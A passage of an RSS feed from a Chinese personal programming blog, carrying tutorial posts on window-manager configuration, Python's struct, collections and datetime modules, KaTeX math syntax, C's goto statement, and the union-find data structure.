    draw-border-with-background false
    geometry-corner-radius 12
    clip-to-geometry true
}

prefer-no-csd
```
1. 通过不设置匹配来匹配全部的窗口
2. `draw-border-with-background`：border装饰窗口并不只是加一个边框，而是填充一个背景，如果你使用某个背景透明的软件就会发现，设置这项为`false`可以取消背景
3. `geometry-corner-radius`：圆角半径，也可以设置4个值来表示各个j角的圆角
4. `clip-to-geometry`：`geometry-corner-radius`只会设置`focus-ring`和`border`的圆角，这项参数将同时应用圆角至窗口
5. `prefer-no-csd`：有些软件可能自带窗口圆角和阴影，为了统一的效果，我们可以设置这项要求软件取消 client-side decorations

#### struts
```
struts {
        left 64
        right 64
        top 64
        bottom 64
    }
```
设置窗口四边的空白，也可以设置为负值</content:encoded></item><item><title>struct库</title><link>https://blog.erina.top/blog/struct%E5%BA%93/</link><guid isPermaLink="true">https://blog.erina.top/blog/struct%E5%BA%93/</guid><description>struct 模块提供了在 Python 值和 C 结构体之间转换的二进制数据打包和解包功能。它主要用于处理二进制数据文件、网络协议等场景。</description><content:encoded># Python struct库
&gt; `struct` 模块提供了在 Python 值和 C 结构体之间转换的二进制数据的打包和解包功能。它主要用于处理二进制数据文件、网络协议等场景。
&gt; `struct`是python的内置模块，无需额外下载

## 主要功能

`struct`模块主要提供以下功能：
- 将Python数据类型打包成二进制字符串
- 将二进制数据解包为Python数据类型
- 处理不同字节序（大端、小端）的数据

## 大端、小端
&gt; 给不了解的朋友介绍一下大端和小端

大端`Big-endian`和小端`Little-endian`是我们计算机存储多字节数据时采用的不同方式，它们描述了数据在内存中的排列顺序，也就是从左到右或从右到左的顺序。  
有趣的是，大端小端的术语其实来自于《格列佛游记》中两个派别关于应该从哪一端打破鸡蛋的争论。

### 大端`Big-endian`
- 将数据的高位字节存储在低地址，低位字节存储在高地址
- 更符合人类从左到右的阅读直觉，阅读时先看到高位

### 小端`Little-endian`
- 将数据的低位字节存储在低地址，高位字节存储在高地址
- 这种模式对计算机处理起来更方便，因为从低地址开始可以立即处理低位数据

例如：
```python
&gt;&gt;&gt; struct.pack(&apos;&lt;I&apos;, 900).hex() # 小端
&apos;84030000&apos;
&gt;&gt;&gt; struct.pack(&apos;&gt;I&apos;, 900).hex() # 大端
&apos;00000384&apos;
```

### 应用场景


#### 1.硬件架构
- 大部分主流架构如`x86`、`x86-64`、`ARM`采用小端
- 部分`ARM`架构可以配置字节顺序


#### 2.文件格式
- 不同文件格式使用不同字节序
- - `PNG`、`JPEG`、`GIF`：使用大端
- - `BMP`：使用小端
- - `TIFF`：可选择大端或小端，在文件头中标识

## 常用函数

### 1. `struct.pack(fmt, v1, v2, ...)`
将值按照指定的格式(fmt)打包成二进制数据。

```python
&gt;&gt;&gt; struct.pack(&apos;if&apos;, 42, 3.14)
b&apos;*\x00\x00\x00\xc3\xf5H@&apos;
&gt;&gt;&gt; struct.pack(&apos;&gt;i&apos;, 900)
b&apos;\x00\x00\x03\x84&apos;
&gt;&gt;&gt; struct.pack(&apos;&gt;i&apos;, 900).hex()
&apos;00000384&apos;
```

### 2. `struct.unpack(fmt, string)`
将二进制数据按照指定的格式(fmt)解包为Python值。

```python
&gt;&gt;&gt; struct.unpack(&apos;if&apos;, b&apos;*\x00\x00\x00\xc3\xf5H@&apos;)
(42, 3.140000104904175)
&gt;&gt;&gt; struct.unpack(&apos;&gt;i&apos;, b&apos;\x00\x00\x03\x84&apos;)
(900,)
```

### 3. `struct.calcsize(fmt)`
计算按照给定格式打包后的二进制数据大小（字节数）。

```python
&gt;&gt;&gt; struct.calcsize(&apos;if&apos;)
8
&gt;&gt;&gt; struct.calcsize(&apos;i&apos;)
4
&gt;&gt;&gt; struct.calcsize(&apos;iI&apos;)
8
```

## 格式字符

格式字符用于指定数据类型和大小：

| 字符 | C类型 | Python类型 | 大小(字节) |
|------|-------|------------|------------|
| `c`  | char  | 长度为1的字符串 | 1        |
| `b`  | signed char | 整数 | 1        |
| `B`  | unsigned char | 整数 | 1        |
| `h`  | short | 整数 | 2        |
| `H`  | unsigned short | 整数 | 2        |
| `i`  | int   | 整数 | 4        |
| `I`  | unsigned int | 整数 | 4        |
| `l`  | long  | 整数 | 4        |
| `L`  | unsigned long | 整数 | 4        |
| `q`  | long long | 整数 | 8        |
| `Q`  | unsigned long long | 整数 | 8        |
| `f`  | float | 浮点数 | 4        |
| `d`  | double | 浮点数 | 8        |
| `s`  | char[] | 字节串 |          |
| `p`  | char[] | 字节串 |          |
| `P`  | void* | 整数 |          |

## 字节顺序

格式字符串的第一个字符可以用来指定字节顺序：

| 字符 | 字节顺序 | 对齐方式 |
|------|---------|---------|
| `@`  | 本机    | 本机    |
| `=`  | 本机    | 标准    |
| `&lt;`  | 小端    | 标准    |
| `&gt;`  | 大端    | 标准    |
| `!`  | 网络(大端) | 标准    |

## 示例应用

### 处理不同字节序

```python
&gt;&gt;&gt; value = 0x12345678 # 创建一个32位整数 0x12345678
&gt;&gt;&gt;
&gt;&gt;&gt; struct.pack(&apos;&lt;I&apos;, value).hex() # 小端
&apos;78563412&apos;
&gt;&gt;&gt; struct.pack(&apos;&gt;I&apos;, value).hex() # 大端
&apos;12345678&apos;
&gt;&gt;&gt; struct.pack(&apos;@I&apos;, value).hex() # 输出取决于系统架构
&apos;78563412&apos;
```

:::tip[注意事项]
1. **对齐问题**：默认情况下，struct模块会按照C编译器的对齐规则来打包数据。如果需要精确控制字节位置，可以使用标准大小（如`&lt;`、`&gt;`、`!`前缀）。

2. **字符串处理**：使用`s`格式字符时，需要指定固定长度，如`10s`表示10字节的字符串。
:::

`struct`模块是Python中处理二进制数据的强大工具，特别适合需要与C语言结构体交互、处理二进制文件格式或实现网络协议的场景。通过合理使用格式字符和字节顺序控制，可以高效地在Python值和二进制数据之间进行转换。</content:encoded></item><item><title>Collections库</title><link>https://blog.erina.top/blog/collections%E5%BA%93/</link><guid isPermaLink="true">https://blog.erina.top/blog/collections%E5%BA%93/</guid><description>Python Collections库详解 Python的 collections 库提供了一些额外的数据结构，用于扩展内置的列表、元组和字典等数据类型。这些数据结构针对特定的使用场景进行了优化，可以极大地简化编程任务。在本篇文章中，我们将探索一些常用的 collections 库中的数据类型。 defaultdict...</description><content:encoded># Python Collections库详解

Python的 `collections` 库提供了一些额外的数据结构，用于扩展内置的列表、元组和字典等数据类型。这些数据结构针对特定的使用场景进行了优化，可以极大地简化编程任务。在本篇文章中，我们将探索一些常用的 `collections` 库中的数据类型。

## defaultdict
 `defaultdict` 是 `dict` 的一个子类，它为缺失的键提供了默认值。当访问一个不存在的键时，不会引发 `KeyError` 错误，而是返回一个默认值。这在计数、分组元素或构建复杂数据结构时特别有用。

使用示例：
```python
&gt;&gt;&gt; from collections import defaultdict
&gt;&gt;&gt; # 创建一个默认值为0的defaultdict
&gt;&gt;&gt; counter = defaultdict(int)
&gt;&gt;&gt; counter[&apos;apple&apos;] += 1
&gt;&gt;&gt; counter[&apos;banana&apos;] += 1
&gt;&gt;&gt; counter
defaultdict(&lt;class &apos;int&apos;&gt;, {&apos;apple&apos;: 1, &apos;banana&apos;: 1})
```
## Counter
`Counter` 是一个方便的工具，用于计数可哈希对象。它提供了简单的计数功能，可以用于统计元素出现的次数、查找列表中的重复元素等。
```python
&gt;&gt;&gt; from collections import Counter
&gt;&gt;&gt; # 创建一个Counter对象
&gt;&gt;&gt; numbers = [1, 2, 3, 2, 1, 3, 4, 5, 1]
&gt;&gt;&gt; counter = Counter(numbers)
&gt;&gt;&gt; counter
Counter({1: 3, 2: 2, 3: 2, 4: 1, 5: 1})
```

## deque
`deque` 是一个双端队列，支持高效地在两端进行添加和删除操作。它比列表更适合用于实现队列、栈和循环缓冲区等数据结构。
```python
&gt;&gt;&gt; from collections import deque
&gt;&gt;&gt; # 创建一个deque对象
&gt;&gt;&gt; queue = deque()
&gt;&gt;&gt; queue.append(1)
&gt;&gt;&gt; queue.append(2)
&gt;&gt;&gt; queue.append(3)
&gt;&gt;&gt; queue
deque([1, 2, 3])
```

## namedtuple
`namedtuple` 是一个用于创建具有命名字段的元组子类的工具。它可以帮助提高代码的可读性，使得元组更具有结构性。
```python
&gt;&gt;&gt; from collections import namedtuple
&gt;&gt;&gt; # 创建一个namedtuple类
&gt;&gt;&gt; Person = namedtuple(&apos;Person&apos;, [&apos;name&apos;, &apos;age&apos;, &apos;gender&apos;])
&gt;&gt;&gt; person = Person(&apos;Alice&apos;, 25, &apos;female&apos;)
&gt;&gt;&gt; Person
&lt;class &apos;__main__.Person&apos;&gt;
&gt;&gt;&gt; person
Person(name=&apos;Alice&apos;, age=25, gender=&apos;female&apos;)
```</content:encoded></item><item><title>datetime库</title><link>https://blog.erina.top/blog/datetime%E5%BA%93/</link><guid isPermaLink="true">https://blog.erina.top/blog/datetime%E5%BA%93/</guid><description>Python datetime库 datetime是Python内置的一个处理日期和时间的标准库，可以轻松处理日期和时间，也可以进行日期和时间的格式化操作。下面是一些datetime库中常用的方法： datetime库中常用的方法： |方法|描述| |---|---| datetime.date|返回表示日期的对象。|...</description><content:encoded># Python datetime库
- datetime是Python内置的一个处理日期和时间的标准库，可以轻松处理日期和时间，也可以进行日期和时间的格式化操作。下面是一些datetime库中常用的方法：

### datetime库中常用的方法：
|方法|描述|
|---|---|
datetime.date|返回表示日期的对象。|
datetime.time|返回表示时间的对象。|
datetime.datetime|返回日期和时间的对象。|
datetime.timedelta|表示两个日期或时间之间的差异（例如，两个日期之间的天数）。|
datetime.strptime|把格式化的字符串转换为日期对象。|
datetime.strftime|把日期对象格式化为字符串。|
datetime.timetuple|返回一个 time.struct_time对象，具有包含九个元素的命名元组接口。|


### time.struct_time 对象中存在以下值：


|索引|属性|值|
|-|-|-|
0|tm_year|(例如，1993)
1|tm_mon|范围 [1, 12)
2|tm_mday|范围 [1, 31)
3|tm_hour|范围 [0, 23)
4|tm_min|范围 [0, 59)
5|tm_sec|范围 [0, 61)
6|tm_wday|范围 [0, 6)，星期一为 0
7|tm_yday|范围 [1, 366)
8|tm_isdst|0、1 或 -1

### 以下代码示例展示了如何使用datetime库：
```python
import datetime
# 获取当前时间并打印
now = datetime.datetime.now()
print(&quot;当前时间为：&quot;, now)
# 创建一个表示指定日期和时间的datetime对象
d = datetime.datetime(2021, 10, 12, 15, 0)
print(&quot;指定的日期和时间为：&quot;, d)
# 获取两个日期之间的差异
delta = datetime.timedelta(days=7)
next_week = now + delta
print(&quot;一周后的时间为：&quot;, next_week)
# 把字符串转换为日期对象
date_string = &quot;2022-01-01&quot;
date_object = datetime.datetime.strptime(date_string, &quot;%Y-%m-%d&quot;)
print(&quot;转换后的日期为：&quot;, date_object)
# 把日期对象转换为字符串
date_str = date_object.strftime(&quot;%d/%m/%Y&quot;)
print(&quot;转换后的字符串为：&quot;, date_str)
```
&gt; 输出为
```
当前时间为： 2023-05-24 19:51:43.019975
指定的日期和时间为： 2021-10-12 15:00:00
一周后的时间为： 2023-05-31 19:51:43.019975
转换后的日期为： 2022-01-01 00:00:00
转换后的字符串为： 01/01/2022
```
### 例题讲解

**题目描述**
```输入某一年的日期，输出该天是本年的第多少天。```

**输入**
```输入一行，表示某年的日期。```

**输出**
```输出一个正整数，表示这一天是该年的第几天。```

**样例输入**
```2023-05-22```

**样例输出**
```142```

### 题解
```python
from datetime import datetime
a = input().strip()
d = datetime.strptime(a,&apos;%Y-%m-%d&apos;)
ans = d.timetuple().tm_yday
print(ans)
```
- 当然，运用__import__函数我们可以很轻易地压行
```python
print(__import__(&apos;datetime&apos;).datetime.strptime(input(),&apos;%Y-%m-%d&apos;).timetuple().tm_yday)
```</content:encoded></item><item><title>KaTeX</title><link>https://blog.erina.top/blog/katex/</link><guid isPermaLink="true">https://blog.erina.top/blog/katex/</guid><description>KaTeX语法介绍 KaTeX是一个流行的用于Web上高质量数学排版的渲染库。它与LaTeX语法兼容，但具有自己的一套渲染方程式的规则。下面是一份常用的KaTeX语法指南。 基础语法 要使用KaTeX渲染方程式，您可以使用两个美元符号把方程式括起来，就像这样： 这将被渲染为：$f(x) = x^2 - 3x + 5$...</description><content:encoded># KaTeX语法介绍

KaTeX是一个流行的用于Web上高质量数学排版的渲染库。它与LaTeX语法兼容，但具有自己的一套渲染方程式的规则。下面是一份常用的KaTeX语法指南。


## 基础语法

要使用KaTeX渲染方程式，您可以使用两个美元符号把方程式括起来，就像这样：

```txt
$f(x) = x^2 - 3x + 5$
```

这将被渲染为：$f(x) = x^2 - 3x + 5$

## 基本数学运算
KaTeX支持广泛的数学运算，包括：
- 指数： `x^n` 或 `x^{n}` 
- 下标： `x_n` 或 `x_{n}` 
- 分数： `\frac{numerator}{denominator}` ，或可选 `\dfrac` 以获得一个更大的分式


例如：
- `$x^{2n}$`
- `$C_{n-1}$`
- `$\frac{3}{4}$`
- `$\dfrac{1}{0}$`

它们将分别被渲染为：

- $x^{2n}$
- $C_{n-1}$
- $\frac{3}{4}$
- $\dfrac{1}{0}$


## 希腊字母
KaTeX支持许多希腊字母，包括：
- Alpha： `\alpha` 
- Beta:  `\beta` 
- Gamma:  `\gamma`  ( `\Gamma` 为大写字母)
- Delta:  `\delta`  ( `\Delta` 为大写字母)
- Epsilon:  `\epsilon` 
- Zeta： `\zeta` 
- Eta:  `\eta` 
- Theta:  `\theta`  ( `\Theta` 为大写字母)
- Iota:  `\iota` 
- Kappa:  `\kappa` 
- Lambda:  `\lambda`  ( `\Lambda` 为大写字母)
- Mu:  `\mu` 
- Nu:  `\nu` 
- Xi:  `\xi`  ( `\Xi` 为大写字母)
- Omicron:  `\omicron` 
- Pi:  `\pi`  ( `\Pi` 为大写字母)
- Rho:  `\rho` 
- Sigma:  `\sigma`  ( `\Sigma` 为大写字母)
- Tau:  `\tau` 
- Upsilon:  `\upsilon`  ( `\Upsilon` 为大写字母)
- Phi:  `\phi`  ( `\Phi` 为大写字母)
- Chi:  `\chi` 
- Psi:  `\psi`  ( `\Psi` 为大写字母)
- Omega:  `\omega`  ( `\Omega` 为大写字母)


例如：
- `$\gamma+\delta=\epsilon$`
- `$\theta+\Theta+\tau=\Pi$`

它们将被渲染为：

- $\gamma+\delta=\epsilon$
- $\theta+\Theta+\tau=\Pi$


## 其他常见语法

除了上述语法之外，KaTeX还支持其他常见的数学运算符和语法，例如：
- 根号： `\sqrt` 
- 积分符号： `\int` 
- 和符号： `\sum` 
- 极限符号： `\lim` 
- 向量符号： `\vec` 
- 绝对值： `\lvert x \rvert` 
- 括号： `( )` ， `[ ]`  和  `{\{  \}}` 

例如：

- `$\sqrt{2+\sqrt{2}}$`
- `$\int_0^1 x^2\, dx$`
- `$\sum_{n=1}^{\infty} 2^{-n} = 1$`
- `$\lim_{x \to 0} \frac{\sin x}{x} = 1$`
- `$\vec{a} \cdot \vec{b} = \lvert a \rvert \lvert b \rvert \cos \theta$`
- `$(a+b)^2=a^2+2ab+b^2$`
- `$[a+b,c+d]=[a,c]+[a,d]+[b,c]+[b,d]$`


它们将分别被渲染为：

- $\sqrt{2+\sqrt{2}}$
- $\int_0^1 x^2\, dx$
- $\sum_{n=1}^{\infty} 2^{-n} = 1$
- $\lim_{x \to 0} \frac{\sin x}{x} = 1$
- $\vec{a} \cdot \vec{b} = \lvert a \rvert \lvert b \rvert \cos \theta$
- $(a+b)^2=a^2+2ab+b^2$
- $[a+b,c+d]=[a,c]+[a,d]+[b,c]+[b,d]$</content:encoded></item><item><title>goto语句</title><link>https://blog.erina.top/blog/goto%E8%AF%AD%E5%8F%A5/</link><guid isPermaLink="true">https://blog.erina.top/blog/goto%E8%AF%AD%E5%8F%A5/</guid><description>跳转语句 C语言的跳转语句主要包括continue,break,retuen,还有就是goto啦 goto语句 goto语句是在所有跳转语句中最自由的一种, 但在大型工程和多人协作工程中并不推荐,原因就在于它太过于自由,会导致代码的可读性变得较差 但这也无法撼动goto语句的地位 合理的使用goto会大大简化代码，并且...</description><content:encoded># 跳转语句

`C语言`的跳转语句主要包括`continue`,`break`,`retuen`,还有就是`goto`啦

# goto语句
&gt; `goto`语句是在所有跳转语句中最自由的一种,
&gt;
&gt; 但在大型工程和多人协作工程中并不推荐,原因就在于它`太过于自由`,会导致代码的可读性变得`较差`
&gt;
&gt; 但这也无法撼动`goto`语句的地位
&gt;
&gt; 合理的使用goto会大大简化代码，并且使程序逻辑更加清晰

## 什么是goto语句
&gt; `goto`,又称`无条件跳转语句`,使用goto语句可以直接跳转到label标注处,其语法为``goto lable;``

## 示例
```cpp
#include&lt;iostream&gt;
using namespace std;
int main(){
    for (int i = 1; i &lt;= 10; ++ i){
        printf(&quot;%d &quot;, i);
        if (i == 6){
            goto ERA;
        }
    }
    cout &lt;&lt; &quot;Before ending&quot; &lt;&lt; endl;
    ERA:
    cout &lt;&lt; &quot;end&quot; &lt;&lt; endl;
}
```

输出
```bash
1 2 3 4 5 6 end
```</content:encoded></item><item><title>并查集</title><link>https://blog.erina.top/blog/%E5%B9%B6%E6%9F%A5%E9%9B%86/</link><guid isPermaLink="true">https://blog.erina.top/blog/%E5%B9%B6%E6%9F%A5%E9%9B%86/</guid><description>并查集 并查集是一种用于处理集合合并和查询的数据结构，常用于连通性问题。它可以动态地添加和合并集合，并快速地查询两个元素是否在同一个集合中。 ————chatGPT 并查集被很多OIer认为是最简洁而优雅的数据结构之一，主要用于解决一些元素分组的问题。它管理一系列不相交的集合，并支持两种操作： 合并（Union）：把两...</description><content:encoded># 并查集

&gt; *并查集是一种用于处理集合合并和查询的数据结构，常用于连通性问题。它可以动态地添加和合并集合，并快速地查询两个元素是否在同一个集合中。*                          ————chatGPT

---

并查集被很多OIer认为是最简洁而优雅的数据结构之一，主要用于解决一些**元素分组**的问题。它管理一系列**不相交的集合**，并支持两种操作：

* **合并**（Union）：把两个不相交的集合合并为一个集合。
* **查询**（Find）：查询两个元素是否在同一个集合中。

&gt; 并查集的时间复杂度主要取决于查找的复杂度，因为合并的复杂度一般较小。一般而言，使用路径压缩和按秩合并的优化方法，可以使单次操作的时间复杂度达到 `O(log n)`。

---

#### 基本代码

* **数据**

```cpp
int fa[MAXN]; //代表节点的父节点
```

* **初始化**

```cpp
inline void init(int n)
{
    for (int i = 1; i &lt;= n; ++i)
        fa[i] = i; 
    // 初始状态所有节点的父节点都是它自己
}
```

&gt; 关于`inline`函数， 看[这里](https://blog.csdn.net/lym940928/article/details/88368363) ~~（留个坑， 以后有空讲讲）~~

* **查询**

```cpp
int find(int x)
{
    if(fa[x] == x)
        return x;
    else
        return find(fa[x]);
}
```

* **合并**

```cpp
inline void merge(int i, int j)
{
    fa[find(i)] = find(j);
}
```

---

#### 优化

&gt; 并查集的优化主要包括**路径压缩**和**按秩合并**两种方法。

* **1. 路径压缩**

&gt; 在查找一个元素所在的集合时，可以将路径上的所有节点都直接连接到根节点上，这样可以使得后续的查找操作更快。**路径压缩的实现方法：**

```cpp
int find(int x)
{
    return x == fa[x] ? x : (fa[x] = find(fa[x]));
}
```

* **2. 按秩合并**

&gt; 这种优化方法也叫`加权标记法`，在合并两个集合时，可以比较它们的`深度(也叫秩)`，将深度较小的集合连接到深度较大的集合上，这样可以减少树的深度，提高操作效率。**按秩合并的实现方法：**

* **初始化**

```cpp
inline void init(int n)
{
    for (int i = 1; i &lt;= n; ++i)
    {
        fa[i] = i;
        rank[i] = 1;
    }
}
```

* **合并**

```cpp
inline void merge(int i, int j)
{
    int x = find(i), y = find(j);    //先找到两个根节点
    if (rank[x] &lt;= rank[y])
        fa[x] = y;
    else
        fa[y] = x;
    if (rank[x] == rank[y] &amp;&amp; x != y)
        rank[y]++; 
        //如果深度相同且根节点不同，则新的根节点的深度+1
}
```

* 综合使用路径压缩和按秩合并可以达到最优的时间复杂度，即单次操作的时间复杂度为 `O(log n)`。

---

参考文献：

[算法学习笔记(1) : 并查集 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/93647900)  
[算法与数据结构—— 并查集\_酱懵静的博客-CSDN博客](https://blog.csdn.net/the_zed/article/details/105126583)  
[通俗易懂地讲解《并查集》 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/125604577) (python文献)</content:encoded></item></channel></rss>